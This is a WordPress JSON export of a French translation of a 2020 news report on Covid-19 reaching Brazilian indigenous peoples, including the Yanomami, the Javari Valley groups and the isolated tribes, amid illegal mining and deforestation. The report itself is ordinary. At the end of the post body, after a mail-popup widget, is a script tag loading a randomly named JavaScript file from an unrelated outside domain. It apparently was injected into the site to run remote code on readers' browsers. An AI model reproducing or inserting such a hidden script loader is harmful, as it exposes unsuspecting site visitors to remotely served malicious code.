{"id":19563,"date":"2020-06-25T22:52:19","date_gmt":"2020-06-25T22:52:19","guid":{"rendered":"http:\/\/www.lapluma.net\/?p=19563"},"modified":"2020-06-25T22:57:15","modified_gmt":"2020-06-25T22:57:15","slug":"la-covid-19-se-propaga-entre-los-indigenas-brasilenos-y-amenaza-a-los-pueblos-aislados","status":"publish","type":"post","link":"https:\/\/www.lapluma.net\/fr\/2020\/06\/25\/la-covid-19-se-propaga-entre-los-indigenas-brasilenos-y-amenaza-a-los-pueblos-aislados\/","title":{"rendered":"La Covid-19 se r\u00e9pand parmi les peuples autochtones du Br\u00e9sil et menace d\u00e9j\u00e0 les peuples isol\u00e9s"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><span class=\"texte1\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" src=\"http:\/\/www.tlaxcala-int.org\/upload\/aut_7291.jpg\" width=\"122\" height=\"122\" border=\"0\" \/><\/span>En 1986, les enfants d&rsquo;Omama (le cr\u00e9ateur du monde), qui vivent dans la plus grande terre indig\u00e8ne du Br\u00e9sil, la terre indig\u00e8ne Yanomami, entre Roraima et l&rsquo;Amazonie, ont vu leur maison envahie pour la premi\u00e8re fois. Entre cette ann\u00e9e-l\u00e0 et 1990, on estime que 20 % de cette population (1 800 personnes) est morte de maladies et de violences caus\u00e9es par 45 000 <i>garimpeiros<\/i> (orpailleurs ill\u00e9gaux). C&rsquo;est alors qu&rsquo;ils ont rencontr\u00e9 la <i>xawara<\/i>, un mot qui d\u00e9signe les \u00e9pid\u00e9mies port\u00e9es par l&rsquo;homme blanc. Trois d\u00e9cennies plus tard, une nouvelle xawara est arriv\u00e9 en Terre Yanomami : la covid-19, qui menace 40% de ce peuple et progresse \u00e9galement parmi les autres groupes ethniques.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium aligncenter\" src=\"http:\/\/www.tlaxcala-int.org\/upload\/gal_22753.jpg\" width=\"700\" height=\"466\" \/><\/p>\n<p style=\"text-align: center;\"><strong>Deux femmes des peuples Yanomami et Ye&rsquo;kuana. Photo Victor Moriyama \/ ISA \/ Victor Moriyama \/ ISA<\/strong><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">\u00ab\u00a0Nous suivons la maladie covid-19 sur notre terre, il y a d\u00e9j\u00e0 55 cas, et nous sommes tr\u00e8s tristes avec les premiers d\u00e9c\u00e8s des Yanomami. Nos chamans travaillent sans rel\u00e2che contre la xawara. Nous allons nous battre et r\u00e9sister, mais pour cela nous avons besoin du soutien du peuple br\u00e9silien, car le gouvernement ne se soucie pas de la vie des indig\u00e8nes\u00a0\u00bb, a d\u00e9clar\u00e9 par t\u00e9l\u00e9phone \u00e0 EL PA\u00cdS D\u00e1rio Kopenawa, fils du leader Davi Kopenawa, l&rsquo;un des chamans les plus connus de toute l&rsquo;Amazonie. Pr\u00e8s de la moiti\u00e9 des Yanomami (13 889 personnes) vivent dans des communaut\u00e9s situ\u00e9es \u00e0 moins de cinq kilom\u00e8tres d&rsquo;une zone de garimpo, et les p\u00f4les de base (\u00e9quivalents de postes de sant\u00e9) qui les desservent ont des limites en termes d&rsquo;infrastructures et de transport des malades vers d&rsquo;autres r\u00e9gions. \u00ab\u00a0Il faut trois heures d&rsquo;avion charter pour sortir un indig\u00e8ne de l\u00e0 et l&rsquo;amener \u00e0 l&rsquo;h\u00f4pital\u00a0\u00bb, explique Dinaman Tux\u00e1, l&rsquo;un des coordinateurs d&rsquo;Apib (Articulation des peuples indig\u00e8nes du Br\u00e9sil). Une \u00e9tude de l&rsquo;Institut socio-environnemental (ISA) et de l&rsquo;Universit\u00e9 f\u00e9d\u00e9rale du Minas Gerais (UFMG), r\u00e9vis\u00e9e par la Fondation Oswaldo Cruz (Fiocruz), estime que, avec les garimpeiros comme principal vecteur de transmission de la pand\u00e9mie dans le territoire, jusqu&rsquo;\u00e0 13 889 indig\u00e8nes, soit l&rsquo;\u00e9quivalent de 40 % de la population Yanomami, pourraient attraper la maladie.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Au moins 346 indig\u00e8nes br\u00e9siliens &#8211; dont trois Yanomami &#8211; ont d\u00e9j\u00e0 perdu la vie \u00e0 cause du nouveau coronavirus, \u00e0 un rythme qui s&rsquo;acc\u00e9l\u00e8re. Selon le Comit\u00e9 national pour la vie et la m\u00e9moire indig\u00e8nes, il y a eu 28 d\u00e9c\u00e8s pendant tout le mois d&rsquo;avril. Au cours des huit premiers jours de juin, ce nombre a tripl\u00e9, atteignant 89 d\u00e9c\u00e8s. La perte la plus r\u00e9cente est celle de Paulinho Payakan, un leader Kayap\u00f3 de 67 ans, d\u00e9c\u00e9d\u00e9 mercredi \u00e0 l&rsquo;h\u00f4pital public r\u00e9gional d&rsquo;Araguaia, dans le sud-est du Par\u00e1, o\u00f9 il \u00e9tait hospitalis\u00e9 depuis le 9 juin. Avant lui, le samedi 13 juin, un b\u00e9b\u00e9 Kalapalo de 45 jours est devenu le premier d\u00e9c\u00e8s enregistr\u00e9 chez les indig\u00e8nes Xingu du Mato Grosso. Il y a deux autres cas confirm\u00e9s de la maladie dans la r\u00e9gion, selon le minist\u00e8re de la sant\u00e9.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Le Comit\u00e9 pour la vie et la m\u00e9moire indig\u00e8nes, form\u00e9 par diverses associations, telles que l&rsquo;Apib, comptabilise 5 484 personnes infect\u00e9es provenant de 103 peuples diff\u00e9rents. Les chiffres sont bien plus \u00e9lev\u00e9s que les chiffres officiels, qui font \u00e9tat de 103 d\u00e9c\u00e8s et de 3 079 cas confirm\u00e9s. Selon les dirigeants indig\u00e8nes, le premier d\u00e9c\u00e8s est survenu le 20 mars, mais le gouvernement n&rsquo;a enregistr\u00e9 le premier cas d&rsquo;infection &#8211; un jeune Kocama de 20 ans en Amazonie &#8211; que le 2 avril. Selon le minist\u00e8re de la Sant\u00e9, cette divergence s&rsquo;explique par le fait qu&rsquo;il ne compte que les cas et les d\u00e9c\u00e8s parmi les autochtones vivant dans les villages, \u00e0 l&rsquo;exclusion, par exemple, de ceux qui vivent dans les zones urbaines ou les territoires isol\u00e9s.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Mais le nouveau coronavirus menace d\u00e9j\u00e0 ceux qui habitent les for\u00eats les plus recul\u00e9es du pays. Dans la vall\u00e9e de Javari, \u00e0 l&rsquo;extr\u00eame ouest de l&rsquo;Amazonie, on trouve la plus grande concentration d&rsquo;indig\u00e8nes isol\u00e9s au monde &#8211; ceux qui pr\u00e9f\u00e8rent vivre uniquement avec les membres de leur propre village, sans contact avec d&rsquo;autres groupes ou des personnes non indig\u00e8nes. Il existe au moins 16 registres, selon la FUNAI (Fondation nationale indienne). Il y a encore environ 7 000 Indiens r\u00e9cemment contact\u00e9s qui y vivent et qui ont pris la d\u00e9cision de s&rsquo;approcher d\u2019autres groupes il y a seulement 40 ou 20 ans, selon le groupe. La covid-19 est arriv\u00e9e le 4 juin, apr\u00e8s que quatre employ\u00e9s du District sanitaire indig\u00e8ne sp\u00e9cial (Dsei) de la Vall\u00e9e du Javari se sont av\u00e9r\u00e9s atteints de la maladie et ont \u00e9t\u00e9 rapidement \u00e9vacu\u00e9s du village de S\u00e3o Lu\u00eds. Un jour plus tard, des tests ont confirm\u00e9 que trois indig\u00e8nes kanamaris \u00e9taient \u00e9galement infect\u00e9s.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">\u00ab\u00a0C&rsquo;est effrayant. Beaucoup de familles ont pris leurs enfants et ont fui le village, sont all\u00e9es en amont de la rivi\u00e8re et nous ne savons rien d&rsquo;autre sur elles, nous ne savons pas si elles vont bien, si elles ont \u00e9t\u00e9 soign\u00e9es. Il y a un village plus haut qui a fait une barri\u00e8re pour que personne ne vienne de l&rsquo;ext\u00e9rieur et que personne ne sorte\u00a0\u00bb, dit Higson Kanamari, chef local. Selon lui, entre le 9 et le 10 juin, 16 cas de covid-19 ont \u00e9t\u00e9 confirm\u00e9s dans deux villages voisins. \u00ab\u00a0Elle se r\u00e9pand tr\u00e8s rapidement et nous n&rsquo;avons pas d&rsquo;h\u00f4pital pr\u00e8s du village [distant de plus de mille kilom\u00e8tres de Manaus]. Je crains pour les peuples isol\u00e9s de la r\u00e9gion, qui sont encore plus vuln\u00e9rables\u00a0\u00bb, d\u00e9plore-t-il.\u00a0<\/span><\/p>\n<p>\u00a0<img loading=\"lazy\" decoding=\"async\" class=\"block width_full aligncenter\" src=\"https:\/\/imagens.brasil.elpais.com\/resizer\/VkN56HdG5y7G_nB4S61XRc6P8OM=\/1500x0\/cloudfront-eu-central-1.images.arcpublishing.com\/prisa\/PSFNOLWV4BCRVO45P5G63ROHRE.jpg\" alt=\"\" width=\"600\" height=\"450\" \/><\/p>\n<p align=\"center\"><strong>Le village de S\u00e3o Lu\u00eds, du peuple Kanamari, dans la vall\u00e9e du Javari. Photo Thod\u00e1 Kanamari<\/strong><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Le peuple Marubo, qui vit \u00e9galement dans la vall\u00e9e du Javari, craint que la maladie arrive dans ses villages. \u00ab\u00a0Les Marubos se pr\u00e9parent d\u00e9j\u00e0 \u00e0 entrer davantage dans la for\u00eat, nous construisons davantage de maisons au milieu de la for\u00eat pour nous prot\u00e9ger de la covid-19 lorsqu&rsquo;elle s&rsquo;approche\u00a0\u00bb, explique le leader Paulo Kenampa Marubo, coordinateur g\u00e9n\u00e9ral de l&rsquo;Union des peuples indig\u00e8nes de la vall\u00e9e du Javari (Univaja). Il a \u00e9t\u00e9 l&rsquo;un de ceux qui ont d\u00e9nonc\u00e9 deux missionnaires usam\u00e9ricains qui ont fait pression sur des membres de l&rsquo;organisation pour obtenir une autorisation d&rsquo;entrer sur le territoire, exig\u00e9e par la FUNAI [Fondation nationale de l\u2019Indien]. \u00ab\u00a0L&rsquo;\u00c9tat doit agir, parce que l&rsquo;action des missionnaires est tr\u00e8s forte ici, ils ont des avions et survolent les villages, ils disent qu&rsquo;il n&rsquo;y a pas de loi dans le ciel, seulement sur la terre\u00a0\u00bb.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Le 25 mars, une plainte a \u00e9t\u00e9 d\u00e9pos\u00e9e contre le pasteur usam\u00e9ricain Josiash Mcintyre, qui aurait envahi le si\u00e8ge de l&rsquo;Union pour intimider les indig\u00e8nes, en mena\u00e7ant de mettre le feu au local. Selon un article du journal <i>O Globo<\/i>, Josiash travaille avec Andrew Tonkin, un membre du Mouvement des nouvelles tribus du Br\u00e9sil, rebaptis\u00e9 Ethnos360 et d\u00e9di\u00e9 \u00e0 l&rsquo;\u00e9vang\u00e9lisation de la r\u00e9gion depuis les ann\u00e9es 1950. Le pasteur a dit que tout cela \u00ab\u00a0n&rsquo;\u00e9tait que ragots\u00a0\u00bb.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Un autre territoire qui concerne les dirigeants interrog\u00e9s par EL PA\u00cdS est la terre indig\u00e8ne du parc de Tumucumaque, \u00e0 la fronti\u00e8re \u00e9loign\u00e9e de l&rsquo;Amap\u00e1 et du Par\u00e1 avec le Suriname, o\u00f9 vivent 1 700 indig\u00e8nes de six peuples, avec au moins deux registres de communaut\u00e9s isol\u00e9es. Les dirigeants d\u00e9noncent le fait que les militaires ont amen\u00e9 le nouveau coronavirus dans la r\u00e9gion, o\u00f9 l&rsquo;on compte au moins 23 personnes infect\u00e9es, dont une femme enceinte de cinq mois transf\u00e9r\u00e9e dans un \u00e9tat grave \u00e0 Macap\u00e1. Les deux premiers sont des indig\u00e8nes du village Mission Tiriy\u00f3 qui travaillent pour une entreprise de sous-traitance au service du 1er \u00a0Peloton sp\u00e9ciale de fronti\u00e8re (1\u00b0 PEF), o\u00f9 environ 50 militaires de l&rsquo;arm\u00e9e de terre et des Forces a\u00e9rienne br\u00e9siliennes (FAB) sont actifs. Dans une note, le minist\u00e8re de la D\u00e9fense affirme qu&rsquo;\u00a0\u00ab\u00a0il n&rsquo;est pas possible d&rsquo;affirmer avec certitude l&rsquo;origine de la contagion dans la r\u00e9gion, mais il est tr\u00e8s peu probable qu&rsquo;elle soit transmise par les militaires de l&rsquo;arm\u00e9e de l&rsquo;air br\u00e9silienne\u00a0\u00bb.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Pour Dinaman Tux\u00e1, d&rsquo;Apib, la situation des peuples indig\u00e8nes \u00ab\u00a0est une situation de vuln\u00e9rabilit\u00e9 immunologique et politique\u00a0\u00bb. \u00ab\u00a0Il y a 174 territoires au Br\u00e9sil o\u00f9 vivent des peuples isol\u00e9s. La Constitution stipule que le gouvernement respecte l&rsquo;isolement des peuples indig\u00e8nes qui vivent dans cette situation, mais cela n&rsquo;est pas le cas. La Cour sup\u00e9rieure de justice (STJ) vient d&rsquo;autoriser la nomination d&rsquo;un missionnaire au d\u00e9partement des peuples isol\u00e9s de la FUNAI\u00a0\u00bb, regrette-t-il. Tux\u00e1 fait r\u00e9f\u00e9rence \u00e0 Ricardo Lopes Dias, qui assumera la coordination g\u00e9n\u00e9rale des Indiens isol\u00e9s et de contact r\u00e9cent de la FUNAI. Il avait \u00e9t\u00e9 nomm\u00e9 en f\u00e9vrier, mais prise de fonction a \u00e9t\u00e9 suspendue le 21 mai par le tribunal r\u00e9gional f\u00e9d\u00e9ral de la 1\u00e8re r\u00e9gion, \u00e0 la demande du minist\u00e8re public f\u00e9d\u00e9ral, car Dias est li\u00e9 \u00e0 la Mission des nouvelles tribus du Br\u00e9sil, un mouvement qui cherche \u00e0 \u00e9vang\u00e9liser les peuples isol\u00e9s, ce qui r\u00e9v\u00e9lerait un conflit d&rsquo;int\u00e9r\u00eat avec la politique indig\u00e9niste du Br\u00e9sil.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Dans une note envoy\u00e9e apr\u00e8s la publication de ce rapport, la FUNAI a indiqu\u00e9 que depuis mars, elle \u00ab\u00a0a mis en \u0153uvre une s\u00e9rie de mesures pour lutter contre le Covid-19 et pr\u00e9venir la contagion du coronavirus au sein de la population autochtone\u00a0\u00bb, ayant investi 20,7 millions de reais [= 3,5 millions d\u2019\u20ac] dans des actions de protection des populations autochtones dans le cadre de l&rsquo;\u00e9pid\u00e9mie. Selon la FUNAI, ces ressources ont \u00e9t\u00e9 utilis\u00e9es pour l&rsquo;achat d&rsquo;urgence de nourriture, pour le d\u00e9placement d&rsquo;\u00e9quipes sur les fronts de protection des peuples indig\u00e8nes isol\u00e9s et de contact r\u00e9cent, et pour l&rsquo;achat de v\u00e9hicules et de bateaux pour permettre le transport d\u2019intervenants vers les villages et d\u2019 indig\u00e8nes vers les unit\u00e9s de sant\u00e9. Dans la note, l&rsquo;entit\u00e9 ajoute qu&rsquo;\u00a0\u00ab\u00a0elle a d\u00e9j\u00e0 distribu\u00e9 90 800 paniers de nourriture \u00e0 des familles indig\u00e8nes dans tout le pays.<\/span><\/p>\n<h3 align=\"justify\">Le garimpo et la d\u00e9forestation ne sont pas mis en quarantaine<\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">La triste nouvelle de la covid-19 est parvenue aux indig\u00e8nes br\u00e9siliens par le biais de deux fl\u00e9aux anciens qu\u2019ils connaissent bien, la d\u00e9forestation l\u2019orpaillage ill\u00e9gal, qui ne connaissent pas de tr\u00eave en temps de pand\u00e9mie. Les dirigeants de diff\u00e9rents groupes ethniques d\u00e9noncent l&rsquo;augmentation des invasions m\u00eame de p\u00eacheurs et de chasseurs ill\u00e9gaux sur leurs territoires, ce qui augmente la crainte &#8211; et le risque &#8211; de contamination. \u00ab\u00a0Ils profitent du moment de la pand\u00e9mie, car il y a moins de contr\u00f4lese, et envahissent davantage nos territoires\u00a0\u00bb, d\u00e9clare Higson Kanamari, de la vall\u00e9e du Javari.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">La d\u00e9forestation sur les terres indig\u00e8nes a augment\u00e9 de 63 % en avril par rapport au m\u00eame mois de l&rsquo;ann\u00e9e derni\u00e8re, selon les donn\u00e9es du syst\u00e8me Deter, de l&rsquo;Institut national de recherche spatiale (Inpe). Le m\u00eame syst\u00e8me montre qu&rsquo;au cours des quatre premiers mois de 2020, L&rsquo;augmentation a \u00e9t\u00e9 de 55 % par rapport \u00e0 la m\u00eame p\u00e9riode l&rsquo;ann\u00e9e derni\u00e8re : de janvier \u00e0 avril, 1 319 hectares &#8211; l&rsquo;\u00e9quivalent de 1 800 terrains de football &#8211; ont \u00e9t\u00e9 d\u00e9truits.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Et dans certaines r\u00e9gions, la situation pourrait s&rsquo;aggraver. C&rsquo;est le cas dans le Mato Grosso, o\u00f9 l&rsquo;Assembl\u00e9e l\u00e9gislative votera ce mercredi un projet de loi du gouverneur Mauro Mendes qui ne prot\u00e8ge que les terres indig\u00e8nes ratifi\u00e9es, laissant celles qui sont \u00e0 l&rsquo;\u00e9tude pour la d\u00e9marcation, d\u00e9limit\u00e9es ou d\u00e9clar\u00e9es, vuln\u00e9rables \u00e0 l&rsquo;action des envahisseurs. Lors d&rsquo;une r\u00e9union minist\u00e9rielle le 22 avril, le ministre de l&rsquo;Environnement Ricardo Salles a d\u00e9clar\u00e9 que le gouvernement du pr\u00e9sident Jair Bolsonaro (sans parti) devrait profiter de l&rsquo;attention port\u00e9e par les m\u00e9dias \u00e0 la couverture de la pand\u00e9mie du nouveau coronavirus pour \u00ab\u00a0faire sauter les verrous\u00a0\u00bb et d\u00e9r\u00e9glementer la protection de l&rsquo;environnement.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">En r\u00e9ponse \u00e0 ces menaces anciennes et de plus en plus mortelles, les dirigeants des peuples Yanomami et Ye&rsquo;kwana se sont unis pour cr\u00e9er la campagne #ForaGarimpoForaCovid, qui demande au gouvernement f\u00e9d\u00e9ral de proc\u00e9der \u00e0 une op\u00e9ration de \u00ab\u00a0desintrus\u00e3o\u00a0\u00bb (d\u00e9logement d\u2019intrus) \u00a0de toute urgence contre les plus de 20 000 garimpeiros de la Terre indig\u00e8ne Yanomami.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">\u00ab\u00a0Ce positionnement anti-indig\u00e8ne date d&rsquo;avant m\u00eame que ce gouvernement entre en fonction. Il utilise le coronavirus comme un instrument de g\u00e9nocide et, en m\u00eame temps, l&rsquo;utilise pour cacher le g\u00e9nocide qui \u00e9tait d\u00e9j\u00e0 en cours, avec le garimpo ill\u00e9gal, par exemple\u00a0\u00bb, d\u00e9clare Tux\u00e1, qui critique \u00ab\u00a0le manque de planification ou m\u00eame de d\u00e9bat pour lutter contre le coronavirus chez les indig\u00e8nes\u00a0\u00bb.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Le coordinateur de l&rsquo;Apib pr\u00e9conise la cr\u00e9ation d&rsquo;un plan d&rsquo;urgence pour construire des h\u00f4pitaux de campagne dans les territoires indig\u00e8nes. \u00ab\u00a0En plus d&rsquo;autres structures adapt\u00e9es \u00e0 notre r\u00e9alit\u00e9. Dans notre culture, il n&rsquo;y a pas moyen de vivre dans l&rsquo;isolement, quand dans une <i>maloka<\/i> [case], 16 personnes vivent ensemble. Vous avez des communaut\u00e9s sans gel hydroalcoolique ni savon, c&rsquo;est l&rsquo;obligation du gouvernement d\u2019en fournir\u00a0\u00bb, dit-il. Tux\u00e1 appelle \u00e9galement \u00e0 la mise en place de structures de sant\u00e9 qui respectent l&rsquo;int\u00e9grit\u00e9 culturelle des peuples. \u00ab\u00a0Les h\u00f4pitaux ne garantissent pas l&rsquo;espace pour la <i>pajelan\u00e7a<\/i> [rituel chamanique], notre traitement spirituel, qui accompagne le traitement du corps. Il y a des indig\u00e8nes qui ne veulent pas aller \u00e0 l&rsquo;h\u00f4pital pour cela. Ils pr\u00e9f\u00e8rent faire les rituels, qu&rsquo;il s&rsquo;agisse de gu\u00e9rison ou d&rsquo;enterrement, au village, ils pr\u00e9f\u00e8rent mourir ici\u00a0\u00bb.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Alors que les pouvoirs publics n&rsquo;agissent pas, du nord au sud du pays, les dirigeants indig\u00e8nes communiquent et s&rsquo;organisent pour se prot\u00e9ger. \u00ab\u00a0Je parle aux chefs et aux <i>paj\u00e9s<\/i> [chamans] de partout pour que nous fassions nos propres barri\u00e8res sanitaires dans les villages. Je ne suis pas seulement triste pour les Yanomami, mais aussi pour les parents du Xingu et de tout le Br\u00e9sil. En ce moment, nous parlons tous la m\u00eame langue\u00a0\u00bb, dit D\u00e1rio Kopenawa.<\/span><\/p>\n<p style=\"text-align: justify;\" align=\"justify\"><span style=\"font-size: 12pt;\">Ce rapport a \u00e9t\u00e9 mis \u00e0 jour le soir du 17 juin 2020, avec une note de la FUNAI envoy\u00e9e apr\u00e8s sa publication.<\/span><\/p>\n<p style=\"text-align: justify;\" align=\"justify\"><strong><span style=\"font-size: 14pt;\"><span class=\"auteur\">Joana Oliveira<\/span><\/span><\/strong><\/p>\n<p><strong><span class=\"navigation_cadre\" style=\"font-size: 14pt;\">Original: <a href=\"http:\/\/www.tlaxcala-int.org\/article.asp?reference=29195\">Covid-19 se espalha entre ind\u00edgenas brasileiros e j\u00e1 amea\u00e7a povos isolados<\/a><\/span><\/strong><\/p>\n<p><strong><span class=\"navigation_cadre\" style=\"font-size: 14pt;\">Traduit par <span class=\"trad\">\u00a0 <a href=\"http:\/\/www.tlaxcala-int.org\/biographie.asp?ref_aut=2&amp;lg_pp=fr\">Fausto Giudice \u0424\u0430\u0443\u0441\u0442\u043e \u0414\u0436\u0443\u0434\u0438\u0447\u0435 \u0641\u0627\u0648\u0633\u062a\u0648 \u062c\u064a\u0648\u062f\u064a\u0634\u064a<\/a> <\/span><br \/>\n<\/span><\/strong><\/p>\n<p><strong><span class=\"navigation_cadre\" style=\"font-size: 14pt;\">Traductions disponibles : <a href=\"http:\/\/www.lapluma.net\/2020\/06\/25\/la-covid-19-se-propaga-entre-los-indigenas-brasilenos-y-amenaza-a-los-pueblos-aislados\/\">Espa\u00f1ol<\/a><\/span><\/strong><\/p>\n<p><strong><span class=\"navigation_cadre\"><span style=\"font-size: 14pt;\">Source: <a href=\"http:\/\/www.tlaxcala-int.org\/article.asp?reference=29197\">Tlaxcala<\/a>, le 25 juin 2020\u00a0<\/span> <\/span><\/strong><\/p>\n<p><a href=\"https:\/\/paypal.me\/pools\/c\/8bfPFKFYP5\"><img decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/tlaxcala-int.org\/upload\/gal_21691.jpg\" alt=\"http:\/\/tlaxcala-int.org\/upload\/gal_21691.jpg\" \/> <\/a><\/p>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/div>\n<\/div>\n<div><img \/><\/div>\n<p><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Au moins 346 autochtones ont d\u00e9j\u00e0 perdu la vie \u00e0 cause du nouveau virus. Les communaut\u00e9s disent que les envahisseurs profitent de la pand\u00e9mie, avec moins de surveillance, pour p\u00e9n\u00e9trer dans les territoires<\/p>\n","protected":false},"author":652,"featured_media":19567,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[217],"tags":[65,676,8531,9522,9521,9524,9523,9500],"coauthors":[9520],"class_list":["post-19563","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-abya-yala","tag-abya-yala","tag-brasil","tag-crisis-del-coronavirus","tag-garimpeiros","tag-indigenas-brasilenos","tag-joana-oliveira","tag-mineria-ilegal","tag-robo-y-saqueo-de-tierras-indigenas"],"translation":{"provider":"WPGlobus","version":"2.12.2","language":"fr","enabled_languages":["es","fr"],"languages":{"es":{"title":true,"content":true,"excerpt":true},"fr":{"title":true,"content":true,"excerpt":true}}},"_links":{"self":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/19563","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/users\/652"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/comments?post=19563"}],"version-history":[{"count":5,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/19563\/revisions"}],"predecessor-version":[{"id":19566,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/19563\/revisions\/19566"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media\/19567"}],"wp:attachment":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media?parent=19563"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/categories?post=19563"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/tags?post=19563"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/coauthors?post=19563"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}